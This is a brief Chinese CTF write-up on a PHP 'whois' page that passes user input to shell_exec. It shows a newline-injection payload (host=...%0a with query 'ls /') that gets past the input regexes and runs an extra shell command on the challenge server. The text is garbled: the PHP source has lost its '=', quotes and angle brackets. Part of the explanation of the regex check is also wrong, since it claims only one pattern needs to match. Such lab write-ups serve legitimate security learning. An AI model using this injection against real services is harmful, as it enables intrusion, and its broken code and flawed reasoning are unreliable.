【BugkuCTF】Whois
直接访问http://49.232.142.230:15900/query.php会直接爆出源码?php error_reporting(0); $output null; $host_regex /^[0-9a-zA-Z][0-9a-zA-Z\.-]$/; $query_regex /^[0-9a-zA-Z\. ]$/; if (isset($_GET[query]) isset($_GET[host]) is_string($_GET[query]) is_string($_GET[host])) { $query $_GET[query]; $host $_GET[host]; if ( !preg_match($host_regex, $host) || !preg_match($query_regex, $query) ) { $output Invalid query or whois host; } else { $output shell_exec(/usr/bin/whois -h ${host} ${query}); } } else { highlight_file(__FILE__); exit; } ? !DOCTYPE html html head titleWhois/title /head body pre? htmlspecialchars($output) ?/pre /body /html具体执行的命令大概如下所示/usr/bin/whois -h whois.verisign-grs.com baidu.com但是这里需要绕正则通过正则可知我们无法使用常规的方法来拼接命令# host参数只能由0-9、a-z、A-Z、.点、-减号以及\n或者\r 组成 $host_regex /^[0-9a-zA-Z][0-9a-zA-Z\.-]$/; # query参数只能由0-9、a-z、A-Z、.点、 空格以及\n或者\r组成 $query_regex /^[0-9a-zA-Z\. ]$/;可以看到\n换行符和\r回车符是可以用的\n的url编码是%0a\r的url编码是%0d原理是因为正则表达式没有模式符m开启多行搜索因此不会匹配\n、\r假设你构造的payload是hostwhois.verisign-grs.com%0a queryls /preg_match匹配到的内容是whois.verisign-grs.com而且由于代码中是或关系只要有一个能匹配成功就可以执行shell_execif ( !preg_match($host_regex, $host) || !preg_match($query_regex, $query) ) { $output Invalid query or whois host; } else { $output shell_exec(/usr/bin/whois -h ${host} ${query}); }那么到了后端php解析交给linux执行的命令就成了这样因为\n%0a 强制执行当前命令这样就执行两条命令/usr/bin/whois -h whois.verisign-grs.com ls /